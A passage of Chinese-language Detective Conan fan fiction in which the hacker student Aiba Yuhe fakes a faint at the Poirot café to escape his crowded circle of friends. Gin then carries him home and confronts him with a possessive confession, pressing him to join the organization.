小佑禾最近给他们发的消息都很正常,甚至前段时间心情还很好的样子……该死!早在对方有一段不太正常的恋情时,他们对相叶佑禾就不应该向从前那麽放心! “当然有啊!” 铃木园子的话让两人脸色刷地黑了下去。 世良真纯看出什麽,解释道:“园子是指相叶受到了情伤,最近脸上都没什麽笑容,眉头经常皱起。” 两人松了口气,随后眉头又皱起。 不管因为什麽原因分手,他们家佑禾年龄小又乖巧,肯定都是黑泽阵的错!竟然让佑禾伤心,这个混蛋! “就是因为这个事我才开玩笑让安室老师去撬墙角,反正他们这几个老师都很关注佑禾的样子,结果被教育了一番。”铃木园子露出死鱼眼:“结果安室老师身体很诚实嘛!” 亏她之前还为自己不恰当的玩笑认真反思了呢! 萩原研二和松田阵平面色变得有些古怪,两人平对视一眼,再次看向降谷零时,见对方弯着眼睛,动作温柔地替相叶佑禾整理头发时,眼神逐渐诡异—— 安室透将相叶佑禾发间的异物拿下来:“是一片樱花,应该是路上落下的吧。” sakura一出,相叶佑禾耳边似乎浮现出那个雨天,琴酒愉悦又笃定地叫出‘小樱花’的声音。 什麽小樱花,谁叫小樱花了!相叶佑禾突然反应过来,这混蛋把他们自己取的外号真当自己代号了! 生气。jpg。 相叶佑禾决定今晚就把他们能打出樱的按键,通通黑了不准用! 在他说sakura时,安室透敏锐地察觉到相叶佑禾僵硬了一下,他的反应很轻微,并且很快恢复正常,但安室透还是察觉到了。 他眸光闪了闪,果然啊。 他们先前的推论应该没有错。 相叶佑禾——就是黑客樱。 “因为樱花的颜色和佑禾头发的颜色很相近,才没被第一时间发现。” 安室透目光落在相叶佑禾的脸上,哪怕是一丝一毫的细微颤动也不放过,他一边把手伸到少年耳侧,看似是帮对方整理头发,实则通过体温、肌理紧绷等生理反应来判断相叶佑禾的状态。 一边笑盈盈地继续说一些能搅乱对方心神的话:“说起来,佑禾喜欢樱花吗?喜欢的话我们还可以尝试一些樱花口味的甜品……” 相叶佑禾不自在地往后仰了仰身体,却没能摆脱安室透的手指,他诧异地看了眼对方,青年笑容亲切温柔,动作也十分自然。 自从知道他和松田、萩原是好朋友后,相叶佑禾再看他们总带着一层滤镜。 应该和他的好友一样,看到乖孩子会忍不住摸摸头释放善意吧? 这样的话,就不太好拒绝了。 看着两人的样子,一旁的江户川柯南再也忍不住了。 “相叶哥哥!”他跑到两人中间,吭哧吭哧地爬上座椅打算挤开安室透的手时,有人率先抓住了青年的手。 “呵呵,樱花啊,我最喜欢樱花了。”一道熟悉的嗓音传来,安室透侧头,对上笑眯眯的半长发青年。 他旁边带着墨镜的卷发男人勾了勾唇:“来一份樱花口味的蛋糕,服。务。员。” 安室透眼睛微微睁大,突然见到许久未见的好友,他十分惊喜,随后又察觉到两人微妙的态度。 看起来颇有些咬牙切齿的意味。 “抱歉,我们店里没有樱花口味的蛋糕。” 说话间,腕上那只手用一股不容抗拒的力道,将安室透的手扯了过来,远离相叶佑禾。 随后,这只手的主人——萩原研二,他走过去提起江户川柯南坐在了这个位置上。 这个位置在相叶佑禾和诸伏景光中间,江户川柯南一个孩子能挤进来,萩原研二一个大人就很勉强了。 于是诸伏景光成功被挤了出去。 “小佑禾,好久没见了,怎麽感觉你瘦了?”萩原研二揽住相叶佑禾的肩膀:“最近过得不好吗?是不是周围奇怪的家夥太多了,可以告诉我和小阵平帮你解决哦!” 萩原和松田怎麽也来了?! 相叶佑禾并不是讨厌见到两人,只是……他看了眼周围的人。 毛利兰、铃木园子、世良真纯、安室透、诸伏景光、江户川柯南,已经够多了!再加上松田阵平和萩原研二…… 相叶佑禾感觉有些窒息。 不是他社恐,而是这些人本来就自带麻烦气息,现在凑一起,等会这家咖啡厅不会炸了吧!不、是整条街爆炸! 况且最重要的是!这些人都认识黑泽阵啊!! 他们俩换回来后互不搭理的相处模式已经引来了无数好奇……他的亲朋好友也不例外,绝对会问的吧! 问到的话他要怎麽回答啊…… 相叶佑禾心里发苦,面上还得装作若无其事的样子:“没有,我过得挺好的,你觉得我瘦了可能是最近没吃甜品?” 说着,他忍不住看向被挤出去,不得不站在一旁的诸伏景光,欲言又止。 萩原研二是没认出那是自己的好朋友吗? 察觉到他的视线,萩原研二回头,似乎刚发现诸伏景光被自己挤走一般,惊呼道:“哎呀,抱歉,我眼里只有弟弟都没注意到旁边还有个人。” 诸伏景光:“……”呵呵,他长得很好骗的样子吗? 他好笑道:“没关系。” 弟弟? 没想到萩原他们和佑禾认识,关系还很好的样子,说不定能劝动他。 萩原研二笑眯眯地看向另一个人:“不过服务员先生,你怎麽上完餐还在这里站着?” 安室透挑了挑眉,感觉好友在暗戳戳地针对他。 原因——估计是相叶佑禾。 不过为什麽?他没有对相叶佑禾做什麽过分的事,难道是听到刚才对话,觉得自己教佑禾做甜品抢占了他‘哥哥’的位置? “现在店里没什麽客人,正片碰上了熟人,就趁这个时间和佑禾他们聊聊天。”安室透无辜地眨了眨眼睛:“我并没有影响工作,这是允许的吧。” 萩原研二和松田阵平看得一阵牙酸。 “给我们来两份你们的招牌吧,小佑禾,你还要吃蛋糕吗?” “不了,这份就够了。”相叶佑禾看着这一圈人,哪还有吃东西的心思,生怕下一秒就有尖叫声响起。 “相叶哥哥,你身体不舒服吗?”江户川柯南总算找到插嘴的时机了:“平时你吃两块都意犹未尽呢,今天才吃了半块。” “没有,我只是还不饿。”相叶佑禾看着柯南那双闪烁着智慧光芒的眼睛,有种大事不妙的感觉。 他这次应该不会再被选做破案工具人了吧? 瞥了眼角落里那桌笑容很假的客人,相叶佑禾‘蹭’地站了起来。 不行,要是当着这麽多人的面被柯南麻醉破案,他会社死的!! “相叶哥哥/佑禾,你怎麽了?” “我去一下卫生间!”—— 卫生间里,相叶佑禾查看了一下波洛咖啡厅的监控,果然坏了。 凭借着他多年的经验,角落里那桌客人一定有人很快就要死了,他先等等,等柯南选中破案工具后,再出去也不吃。 相叶佑禾等啊等,等了十多分钟都没听到尖叫,再不出去,就该有人来敲门了。 可恶,要不然他出去后就假装有事立马离开? 用什麽理由呢? 兼职?不行,因为琴酒他把兼职全辞了。 家里有事?他一个人的家有什麽事啊! 身体不舒服?啊……那外面那一桌人都会想陪他去医院吧…… 直到相叶佑禾回到餐桌前,都没想好理由。 萩原研二笑道:“小佑禾,你回来了?” 江户川柯南甜甜地说:“相叶哥哥!你们刚才说的做甜品我们也好感兴趣哦!小兰她姐姐也很喜欢烹饪,我们可以跟着一起去吗?” 冲矢昴:“嗯,我在这方面也有些研究,不知道能不能一起。” 相叶佑禾:“……”他们叽里呱啦的说什麽呢,他耳朵瞎了听不到呢~ “佑禾,怎麽不过来坐?”松田阵平看相叶佑禾傻站在那里,皱了皱眉:“你脸色好差,身体不舒服吗?” “果然还是因为黑泽……” “嘶……我的头好晕……” 相叶佑禾现在最听不得的就是‘黑泽’这两个字,那代表着所有人都会用好奇的眼神看着他,而他要在公安、警察、FBI、名侦探这些眼神犀利的聪明人眼皮子底下撒谎。 相叶佑禾:杀了他吧! 他索性两眼一闭,身体往后一倒。 他晕倒了!昏睡的人是说不了话的! “相叶!” “小佑禾!” “佑禾!” “相叶哥哥!” 杂七杂八的喊声同时响起,相叶佑禾被一只手从后面稳稳接住。 这只略微冰凉的手将他拉入怀中,硝烟裹挟着冰雪凛冽的气息涌入鼻腔。 这股他最熟悉的味道来源于——琴酒。 第66章 坏心思 琴酒单手扣住相叶佑禾的腰,少年单薄的身躯软绵绵地跌入怀中。 如同春日的气息带着几缕淡淡的、酸酸甜甜的草莓味扑面而来,像刚从枝头落下被碾碎的樱花,青涩又令人眷恋。 琴酒垂眸,视线落在少年精致的脸庞上。 他双眼紧闭,白皙的肌肤上有一层薄薄的汗水,被拉入怀中时,他似乎闻出了自己的味道,那双浓密的睫毛轻轻颤动了几下,柔软的身体也僵硬了许多。 琴酒眸中多了几分难以察觉的笑意,随后想到什麽,笑意如冰雪消融般褪去。 他神色淡淡,似是惩罚一般,放在少年腰间的手勒紧了几分。 这个味道、这勒在腰间如铁钳般不可抗拒又令人安心的力度,和后脑勺处结实又富有弹性的胸肌……绝对是琴酒! 相叶佑禾内心发出尖锐的爆鸣。 琴酒为什麽会出现在这里! 相叶佑禾的第一反应是这条街可能真的要完蛋了。 随后既庆幸又觉得倒霉。 好消息,他晕倒了!不用面对这令人头皮发麻的场面。 坏消息,他晕倒了!没有他在中间周旋,任由琴酒和其他人待在一起会发展成什麽样? 在坐的都不是善茬,侦探和警察们洞察力敏锐,对犯罪分子有着天然的直觉。 而灵魂和壳子都是本尊的琴酒,骨子里透露着的自信张扬,让他根本不屑于在警察面前演戏。 别说说话了,单这杀手冰冷的气势就够大家怀疑了。 其他人还好,不是卧底就是不敢暴露身份的柯南,他们会装模做样睁一只眼闭一只眼,但是松田阵平和萩原研二不知情啊! 一旦萩原和松田发现不对想当场逮捕琴酒,知道琴酒危险、且怕万一失败好友被记恨上,其他几个卧底会不会当场反水帮着一起逮捕他? 琴酒回头一看,身后空无一人。 嘶……一想到那个场面,相叶佑禾觉得琴酒真惨啊。 怎麽办?他要醒过来吗? 醒过来……一想到他要在这麽复杂的情况下做中间人,两边撒谎找补,相叶佑禾觉得自己还是接着昏睡吧。 昏睡挺好的—— 在银发男人出现的那一瞬,咖啡厅里如同被按下暂停键一般,陷入一阵寂静。 琴酒?这个男人为什麽会出现在这里?! 安室透伸在半空中的手缓缓收了回去,他没有忽略琴酒揽在少年腰间微妙收紧的手指。 这仿佛宣誓着主权的动作,令安室透也没有那麽意外了。 就算恢复了topkiller的打扮,也还是恋爱脑。 呵,他早看出来。 分手后假装不在意,却每天风雨无阻的来学校,这是杀手该做的事吗? 现在肯定又是偷偷追踪佑禾,说不定还在佑禾身上放了窃听器,偷听到他们的对话终于忍不住了。 还好他和hiro见到久别重逢的好友后,也没有说什麽可疑的话。 他看了眼松田阵平和萩原研二,后者短暂的愣怔过后,伸出去接相叶佑禾的手一转,朝少年额头摸去:“小佑禾他难道……” 银发男人侧身躲开他探去的手,墨绿色的眼眸轻飘飘地瞥来,却又冰冷、沉重。 萩原研二这才有心思仔细看一看这个打扮和平时大相径庭的男人。 银发披散在脑后,黑色的风衣裹挟着挺拔的身躯,他仿佛一把从幽深的寒潭中拔出的剑刃,淩厉的锋芒将人的眼睛刺得生疼。 萩原研二肌肉紧绷,下意识防备着面前的男人。 “黑泽……老师?”他惊讶地张了张嘴巴。 总算知道园子为什麽会说黑泽老师黑化了…… 嗯,就,挺形象的。 难以置信那个扎着侧低马尾、会跟他们吐苦水的黑泽阵,竟然变成了这副冰冷危险的模样。 萩原研二一时不知道说什麽,只能感叹爱真是伟大又可怕的东西。 琴酒没有回答,他将靠在胸口的少年拦腰抱起,转身离开时,就在萩原研二等人要阻止时,一道稚嫩的童音率先响起。 “等等!” 急切地嗓音吸引了众人的注意力,将视线汇聚在江户川柯南身上。 “呃……”江户川柯南额头冒汗,他没想到这个分手后,再次变回那个危险杀手的琴酒,竟然就这麽肆无忌惮地出现在他们面前,要把相叶佑禾带走! 哪怕之前他因为爱着相叶佑禾做出了多少令人瞠目结舌异常行为,但他是琴酒,黑衣组织的重要代号成员,天知道这种变态在生气时会对相叶佑禾做什麽! 江户川柯南完全不敢赌。 不管是为了相叶佑禾的安危还是防止两人关系再有缓和的可能,江户川柯南都必须要阻止琴酒! “黑泽老师,我在电视上有看到过,面对不知因为什麽突然晕倒的人,我们最好还是不要随意挪动他哦!” 其他人的想法也和江户川柯南差不多,冲矢昴上前,伸手去抱相叶佑禾:“我曾经跟随我的老师在医院待过一阵子,经验丰富,把他先交给我吧。” 感受到冲矢昴的靠近,相叶佑禾心中一紧,蜷缩在一起的手指不自觉捏了一下。 他的动作十分细微,仅仅只是一瞬间还是被琴酒察觉到了。 他垂眸,视线从贴在胸前的这只手落到相叶佑禾脸上,眉尾轻扬。 赤井秀一的手在半路被另一只小麦色的手推开。 安室透打从第一次见到冲矢昴起就十分讨厌他,更何况他还隐隐猜测这个男人就是‘死掉’的赤井秀一,只是还没有足够的证据。 不论是不是,他都不会让这个不安好心的男人接近相叶佑禾。 “呵,冲矢老师都还没从学校毕业,论起经验还是我更丰富吧。”安室透笑眯眯地推开他的手:“我跟随毛利老师经历过很多案件,有很多急救的经验,交给我吧。” “让开让开,湿毛巾和感冒药来了。”松田阵平和诸伏景光拿着毛巾和感冒药、温水走过来,身后还跟着提着药箱的毛利兰。 看到这三个跟木桩一样杵着不动的男人,松田阵平满头问号:“围在一起干什麽?快把佑禾放沙发上!” 相叶佑禾藏在琴酒怀里的手又是一紧。 啊啊啊啊琴酒磨磨唧唧的干什麽?! 他不应该用看垃圾的眼神扫大家一眼,然后冷酷转身,抱着他无情的离开吗? 怎麽还在这里听大家说话啊! 听着自己马上就要被放在沙发上,被一众人围观检查到底是什麽原因,相叶佑禾不淡定了。 他可没有信心能在这麽多目光如炬的警察、侦探眼皮子下装那麽久不被发现! 可是现在醒过来的话,发现待在琴酒怀里也太尴尬了吧…… 相叶佑禾进退两难,就在他准备跳起来说自己醒了时,突然听见头顶传来一声低沉的轻笑。 第67章 喜欢你 他身体窝在男人的臂弯里,头部正好贴在胸膛处,琴酒低笑时胸腔传来细微的震动,连带着耳朵都痒痒的。 不过多亏了这点,相叶佑禾才能确信,刚才那轻轻的笑声不是他的幻听。 相叶佑禾卡顿了一下,他不明白琴酒为什麽突然笑了一声,但这笑声令他像是偷吃食物被发现的小老鼠,热气微微上涌,浑身不自在。 琴酒发现他装晕了吗? 就在相叶佑禾卡顿的这一秒,琴酒抱着他躲开了其他人的包围圈。 “别碍事。”银发杀手淡淡扫过他们,他毫无往日的‘温柔’,冰冷的嗓音中满是不容拒绝的强硬:“我会送他去医院。” 强势的态度和危险的气息,在场的人下意识在心中瞬间警备起来。 听到他后半句关心相叶佑禾的话后,又稍微放松了一些。 萩原研二、松田阵平很震惊,从第一次见到‘黑泽阵’开始,这个长得如寒冰一般冷硬的男人虽然不容小觑,但性格却温柔没有尖刺,没想到受到情伤后,竟然跟变了个人似的,说话都变得让人火大了起来! 爱情恐怖如斯! 毛利兰等人倒是已经开始习惯这副样子的‘黑泽老师’了,老师虽然凶巴巴的像是手里有几百条人命的样子,但从他不会因为恋情失败而针对佑禾、迁怒其他学生这点来看,他还是那个温柔的好老师。 但!果然还是很危险! 现在只是分手就性格大变,要是相叶佑禾再拒绝他,那不得犯罪啊! 以黑泽阵对相叶佑禾那深沉的爱和几近偏执的占有欲,一旦受到刺激百分之九十九点九的可能会犯罪啊! 比如把小佑禾关起来!强迫小佑禾!让小佑禾只能见到他一个人,成为他的所有物。 萩原研二越看琴酒越觉得会发生这种事,连忙制止。 “不行,你不能带走……” “啊——!” 刺破耳膜的尖叫声在波洛咖啡厅里回荡不绝,在场的众人瞬间被引走了注意力。 角落里的餐桌处,一个男人捂着喉咙趴在桌子上,露出来的半张脸上满是痛苦。 而周围的三人惊恐地盯着死去的男人,其中一人正想用手去推死者。 “别动!”分不清是谁的声音,一群人呼啦啦地就冲过去了。 相叶佑禾:“……” 该来的总是躲不过的。 说起来,他现在是晕倒状态,江户川柯南岂不是都不用麻醉针就能用他的声音了?! 有这麽多聪明人在,尤其是他最害怕的黑衣组织成员,柯南应该不会这麽大胆吧? 但这是柯南…… 想到他那漏洞百出的隐藏都没被人发现,相叶佑禾沉默了。 有时候真觉得柯南也是个异能者。 这次相叶佑禾不用着急了,琴酒已经在众人注意力被引走的那一瞬,转身离开。 一直关注着他的安室透和冲矢昴自然察觉到他的动作,但在开口前,银发男人意味深长地扫了他们一眼,墨绿色的瞳孔冻得人遍体生寒。 “呵。”他冷笑了一声,转身离开。 安室透垂在身侧的手微微捏紧。 看萩原研二、松田阵平和琴酒的熟稔程度,他们恐怕早就认识了。 虽然好友们不会对任何人提起他和hiro,但琴酒会不会因为刚才发现了什麽? 毕竟那家夥对卧底十分敏锐,而那个意味深长的眼神和冷笑,就好像再说‘等着’一样。 冲矢昴也不例外。 琴酒是发现了他赤井秀一的身份了吗? 还是说因为世良真纯总是盯着他看,发现了他们之间奇怪的地方。 因为有重要的人被牵扯进来,降谷零和赤井秀一都没办法松懈,他们朝门口看去,那里早就没了男人的影子。 换作从前,哪怕疑点再小、再微不足道,琴酒也会狠狠抓住不放,可现在,他却什麽都没说,直接离开了。 ——有更重要的事情等着他。 ——是把相叶佑禾送去医院。 ——哪怕相叶佑禾的情况并没有到危急的程度。 爱情,恐怖如斯! 安室透和冲矢昴诡异地对视了一眼,前者又立马嫌弃地移开。 晦气—— 相叶佑禾陷入了更尴尬的境地。 他确实从一群身份‘麻烦’的人群中离开了,但却和更棘手的琴酒单独相处了。 相叶佑禾一时不知道哪边更好。果然还是待在大家身边更舒服一点吧! 后背和膝窝处被一双大手稳稳拖住,好似以琴酒为中心形成了一个包围圈,阻隔了落日的余温,连同街头喧闹的嘈杂声一并远离,只剩下他沉稳有力的心跳。 一下一下,敲得人心头烦闷。 相叶佑禾感觉到他的身体正在一点一点的变得僵硬,好在很快他就被放在了车子后座处。 琴酒的气息瞬间远离,却没有消失,他打开驾驶位的车门,坐了进来。 车子发动,行驶。 这期间琴酒都很安静,一言不发。 相叶佑禾脑子闲不住,一堆问题涌了上来。 琴酒自己开车?伏特加呢?他今天怎麽没一起? 琴酒怎麽会来波洛?是巧合?还是这个混蛋跟踪他? 草率了,应该在来之前看一眼琴酒定位的。 这混蛋要带他去哪里? 真的要去医院吗?还是直接趁着这个机会把他打包带回组织? 呵,topkiller嘴上说着给他时间,实际却一点都不守信用,才半个多月就忍不住要毁了这个约定!一点耐心都没有! 相叶佑禾只是闲着无聊骂一骂琴酒,内心深处是认为对方不会这麽做的。 琴酒既然说了要等他回答,哪怕是用强的,也要听他从嘴巴里说出来,否则退一万步,假如自己真的成为了组织成员,肯定会一直嘲讽琴酒。让他永无安宁之日! 相叶佑禾躺了一会,听到琴酒接了通电话,在他和电话那头人谈话时,相叶佑禾终于忍不住了。 他偷偷掀开眼皮。 他就看一眼,看看这个混蛋男人要把他带去哪里! 从他这个位置,正好能看到琴酒的侧脸。 夕阳的光辉透过车窗,在银发上流动着,折射出的光芒竟意外有些柔和。 他嘴唇一张一合,喉结随着话语轻轻滚动,神情冷淡,茂密的睫毛遮住眼睛,看不清里面的神色。 相叶佑禾竟有一种很久没有见过琴酒的错觉。 自从身体换回来后,他们好不容易缓和的关系瞬间被打破,不是你死就是我活。 现在保持着一种虚假又诡异的和平,但终究是岌岌可危,像窗户纸一样,一戳就破。 琴酒那边不知道,反正他——相叶佑禾单方面讨厌琴酒! “呵。”安静的车厢里,琴酒突然笑了一声。 正在心里朝他竖手指的相叶佑禾吓了一跳,连忙闭上眼睛,心脏砰砰狂跳。 琴酒冷淡的嗓音传来:“伏特加,我真是被你蠢笑了。” 电话另一头的伏特加摸不着头脑,他们不是在正常给大哥汇报任务吗?为什麽突然骂他? 伏特加不解,但还是挠挠头:“抱歉,大哥,任务有问题吗?” “没有,继续。” “哦、哦……好的。” 相叶佑禾松了口气,原来是在笑伏特加,还以为被抓包了。 这要是被发现,可比他自己醒来更尴尬。 总之,刚才那一暼他已经看到了车外的景象,这是回他家的必经之路。 琴酒不送他去医院、也不带他回组织,而是送回家? 想到琴酒那些被清理得干干净净的生活用品,相叶佑禾莫名有些心虚。 等等,无事不登三宝殿,琴酒去他家干什麽?! 该不会想趁机搜搜看他家里有没有什麽能用的数据吧?! 毕竟他可是一等一的黑客,身体柔弱又喜欢在网上犯贱,计算机里肯定存了很多人、组织的黑料,这些数据对他来说只是看着玩玩,但对组织可就不一样了。 相叶佑禾越想越觉得有这个可能。 决定了,等会到家,他要在琴酒行动时抓他个现行! 琴酒停下了车,把相叶佑禾抱回他床上。 相叶佑禾感觉到男人的远离。 要行动了吗要行动了吗? 他有些小激动,正侧耳倾听琴酒离开的脚步时,身侧的床铺凹陷了下去。 ——琴酒坐在了床边。 他静静地看着相叶佑禾沉睡的面庞,眸色如潭水一般幽深沉静。 琴酒对自己很自信,他和相叶佑禾之间无法对任何人诉说的灵魂互换,将他们两绑定在了一起,哪怕是换回来也一样。 只要他们都还活着,这件事永远不可能当做不存在。 琴酒一定不放心,会担心秘密泄露的可能而把相叶佑禾杀掉——相叶佑禾会这麽想他。 而他从前也确实是这麽想的。 在换回来后的第一件事,就是杀掉这个小鬼。 相叶佑禾知道得太多了,且年龄还小、心性也并不坚定,一旦被人拷问,灵魂互换的事就会暴露。 他再无安宁之日。 灵魂互换给他们带来了对双方的不信任,但也带来了旁人无法插足的依赖。 因为身份特殊,相叶佑禾总与人保持一定的距离,他在生活中总是一个人,任何亲密之人都没有介入过。 琴酒是第一个。 他们被迫绑定在一起,同吃同住,忍受对方的恶习、了解对方的性格、学习行为处事、接触对方的朋友、同事…… 他知道相叶佑禾的很多小习惯,比如现在——相叶佑禾要是真的睡着,表情可不会这麽平静。 相叶佑禾应该也和他一样。 所以琴酒很自信。 他给了相叶佑禾时间,不管是答应还是拒绝,这都是他们两人之间的事。 他从来不认为,会有第三方插足。 组织不行。 组织的成员也不行。 波本等人接近相叶佑禾,琴酒看见了。 但——他从来不认为相叶佑禾会选择他们。 哪怕黑客的身份被波本他们知道又怎样?无论是威逼利诱还是开出的条件更诱人都无所谓。相叶佑禾会拒绝他们,也许会想干掉这些烦人的苍蝇。 琴酒甚至饶有兴趣地看着他们的发展。 他像是早已翻看到结局的看书人,冷静从容地欣赏波本等人被少年冷漠对待后,狼狈退场的模样。 然后——琴酒发现相叶佑禾对波本等人的态度竟然软化了。 因为他而冷淡下来的笑容,竟然会在波本他们面前展开,说话时也不再是被逼无奈的客套,是发自内心、有来有往的交流。 相叶佑禾在向波本等人靠近。 琴酒感到烦躁和焦急。 他想干掉碍眼的波本和苏格兰。 他没有耐心再慢慢等相叶佑禾的答案了。 这些被相叶佑禾赋予了不同意义的情绪变得陌生,它们在血管里来回窜动,令他坐立难安。 坐立难安? 真是可笑。 琴酒对此十分不悦。 他沉默了片刻,接受了自己喜欢相叶佑禾的事实。 他会因为相叶佑禾脸上没笑容而皱眉,会因为别人靠近而生气,会因为相叶佑禾不吃蛋糕而担心他的身体是不是又出了问题…… “谁也别想破坏我的平静生活,哪怕是我自己也不可以。”那个雨天,面色苍白如纸的少年这麽说着,眸光穿过雨幕,看向遥远而深沉的天空。 他坚定、决绝。 可相叶佑禾到底明不明白,在说这话之前,他就已经亲手破坏了他的平静生活。 ——在相叶佑禾内心都没意识到的时候,回来研究所找他。 琴酒看着相叶佑禾的白皙的面庞,墨绿色的眸子浓稠而幽深。 他抬手朝少年耳畔伸去,修长的、带着茧子的手指没入柔软的粉发中,粉色的发丝瞬间将指缝填满,他勾着发丝,动作极为缓慢地往下滑,粗粝的指腹刮蹭过头皮,略微冰凉的温度在少年温热的皮肤上流淌,激起一阵隐秘的涟漪。 琴酒很清楚的记得当时心脏重重跳动的感觉。 这份他不愿意承认、名为心动的开始。 第68章 心真脏 自从势不两立后,相叶佑禾对琴酒是防备的,但大概是灵魂互换的期间熟悉了琴酒的存在,他竟然不自觉地放松了下来。 琴酒坐在床边,一言不发,也没有什麽举动。 他似乎就只是累了,找个地方坐下。 相叶佑禾猜了半天,猜不透琴酒到底要做什麽。 杀手的呼吸很浅,一不小心就会忽略他,好似这间屋里只有相叶佑禾一人。 窗边吹来的风带着淡淡的樱花香味,安静惬意的氛围竟让相叶佑禾昏昏欲睡。 直到—— 那粗粝的指腹从眼角滑过,激起一阵轻微的战栗,紧接着,手指深深插入发丝深处,男人的力道不轻不重,但却让他的存在感无孔不入。 相叶佑禾瞬间清醒过来,他浑身紧绷。 视觉上看不见时,其余感知便变得十分敏锐。 他清晰地感觉到琴酒的手指在发间穿行,一点、一点,动作缓慢得有些折磨,每一次贴着皮肤细微的移动,都似乎在触碰到他最敏感的神经。 相叶佑禾一个激灵,猛地睁开眼睛坐起,迅速向后退去。背部抵到床头时,一把抓起被子遮住胸前,瞪着琴酒,扯着发紧的喉咙问:“你干什麽!” 动作一气呵成,半点不拖泥带水。正沉浸在思绪中的琴酒都愣了一秒。 他顿了顿,朝相叶佑禾看去。 少年缩在床边,紧紧攥着被子,生气地瞪着他,对上他的视线后整个人更是直接炸毛,凶相毕露。 简直跟防贼一样。 如果他的耳垂没有泛起淡淡的薄红,让那红晕一直蔓延至紧绷着的脖颈上的话,确实很有威慑性。 琴酒的视线似乎不经意从上面略过,又轻飘飘地移开。 那缓慢的视线相叶佑禾想没注意到都难。 他垂头,看了眼手里紧紧捏着的被子,脸色微红。 好吧,他的反应确实有点过激了,仔细想想琴酒也只是摸了下他的脑袋而已…… 但是……有他这麽摸脑袋的吗?一回想起刚才的感受,相叶佑禾内心就浮出一种难以言喻的怪异感。 他若无其事地将被子放下,走到窗边把窗户关上一部分:“风吹得有点冷。” 春暖花开的四月,气候最为舒适。 琴酒还没说话,相叶佑禾便先人一步,凶巴巴地质问道:“快说!” 以现在的情况,琴酒和他是那种能随随便便进家里来的关系吗! 琴酒挑了挑眉,从容地收回手,指尖轻轻摩挲了两下,上面好似还残存着少年温热的余温。 他眼眸微抬,唇角勾起一抹玩味的弧度:“呵,不继续装了?” 相叶佑禾一顿。 “……” 可恶!果然被发现了吗? 所以琴酒这个混蛋刚才果然是在戏弄他!明明可以直接戳穿他,却选择用这种似谋杀他的方式,让他慌慌张张地跳起来暴露自己。 相叶佑禾愤愤道:“心真脏!” 琴酒:“……” 他一时竟然无言以对。 “所以,如果没什麽事的话你就快点滚吧。”相叶佑禾冷冷说。 少年神色冰冷,那双如春水柔和的眼睛在看向他时,冷漠得近乎没有一丝情感。 琴酒眯了眯眼睛。 这段时间他见惯了相叶佑禾的冷脸,但在见到少年对波本、苏格兰等人露出真心笑容后,这份‘习惯’便瞬间打破,令他心头升起一股强烈的不悦和怒气。 他猛地起身,朝相叶佑禾逼近,黑色的风衣扬起,衣摆随着他的步伐划出淩厉的弧度。 相叶佑禾一直在防备着琴酒,见他走来立即往后退了两步,但还是没有琴酒快。 银发男人堵住了他离开的去路,少年背部抵在窗边,退无可退。 琴酒抬指朝他脸颊捏去,在途中被相叶佑禾一把抓住,少年纤细的手指死死扣着他,指尖因为用力而泛白。 ——相叶佑禾在抗拒他。 意识到这件事,那股不悦、生气和想要用强硬手段让他无法拒绝自己,等等复杂情绪涌上心头。 琴酒垂眸,狭长的眼眸落在少年的脸上,墨绿色的眼眸沉沉的,令人心下一紧。 相叶佑禾捏紧了他的手,不让他再靠近自己。 每次都被掐脸多没面子! 他仰着头,丝毫不畏惧琴酒那可怕的气势:“怎麽?恼羞成怒要杀人灭口?” 琴酒盯着他没说话,时间久但相叶佑禾开始浑身不自在时,男人微微弯腰,银色的长发滑落直他的肩头,有几缕扫过脸颊,痒痒的。 他听到琴酒冷笑了一声,低沉地嗓音缓慢地说道:“看来你还是低估了自己的重要性。” 琴酒没有挣脱也没有用力,就这麽任由相叶佑禾握着他的手不放。 “为什麽会觉得我会杀了你?” 相叶佑禾没有因此而开心,他现在的思绪有点乱。 说话就说话,为什麽总喜欢靠这麽近? 男人灼热的气息喷洒在眼睛上,相叶佑禾的睫毛控制不住的颤抖着,他努力的将自己往后缩,想要远离面前的人:“那你来干什麽?问我要答案麽?” 琴酒:“来做什麽麽……” 低低的声音引得相叶佑禾抬眸,他听到琴酒说:“来提醒你,我很不满你接受波本和苏格兰的示好,尤其讨厌你笑着和他们聊天的样子。” 每当回想起看到的场景,那股想要干掉所有试图接近相叶佑禾的人,独自占有相叶佑禾的欲望在琴酒心头疯涨。 相叶佑禾心脏狂跳,琴酒这个混蛋,平时喜欢用比喻就算了,怎麽不用比喻的时候,说话也这麽引人误会,搞得跟吃醋似的。 还好他知道琴酒真正的目的,不过依旧觉得琴酒相当不可理喻:“我管你讨不讨厌,我就要笑,神经病!” “哦,怎麽?你是怕我为了摆脱你,所以去投奔波本和苏格兰?” 呵呵,他谁也不会选!孤狼就是这麽任性。 琴酒眼睛眯起,不屑:“我的字典里没有怕这个字。” 他确实因为相叶佑禾对波本、苏格兰的态度软化而坐不住,但那又怎样?他在乎的只是相叶佑禾而已,至于波本和苏格兰…… 解决掉就行。 投奔波本和苏格兰? 呵,那也得有这个选项才行。 “相叶佑禾。” 琴酒抬起另一只手,捏着他的下颚,强迫他直视自己的眼睛,一字一句道:“从一开始,你的选项就只有我。” 男人的话如锤子一般,重重敲击在相叶佑禾的心头,他看到那双墨绿色的眼睛如寒潭般深沉,又仿佛蕴含着即将奔涌而出的岩浆。 他甚至都能感受到那份毫不掩饰的灼热感,滚烫得令相叶佑禾无所适从,害得他的心脏跳得乱七八糟的。 他看出来了,琴酒眼中那份——势在必得。 他看出来了,看出来了。 相叶佑禾胸膛剧烈起伏着,他抽出手,一把攥住琴酒的衣领,因为身高差距,仰视的角度让他很不爽,于是用力将琴酒向后推去。 怒气中的相叶佑禾没有发现,以他这具柔弱的身体,怎麽可能推得开不愿意的topkiller。 银发男人跌到床上,相叶佑禾单膝跪在垫子上顺势而下,他攥着琴酒的衣领将人提了提,同样一字一句地还给他:“不。可。能。” 琴酒低笑了一声:“你没有拒绝的权利。” 从相叶佑禾回来找他、亲手打破那份平静生活开始,从他会关注相叶佑禾的情绪、从他意识到对相叶佑禾的感情、想要占有相叶佑禾开始。 他就没给过相叶佑禾拒绝他的选项。 “加入组织,来到我身边,我不会限制你继续上学、交友,你可以维持原本的生活,你想要的平静生活依旧可以保持。”琴酒不容拒绝道:“但——你没有拒绝我的选项。” 你——永远无法摆脱我。 相叶佑禾好似听到了这样的话。 他看着这个强势、霸道、有着绝对掌控欲的男人,怒火蔓延。 已经不用再说什麽了。 他和琴酒之间,没有缓和的余地。 刀已经架到了脖颈上,相叶佑禾逃无可逃,索性露出獠牙,直接面对。 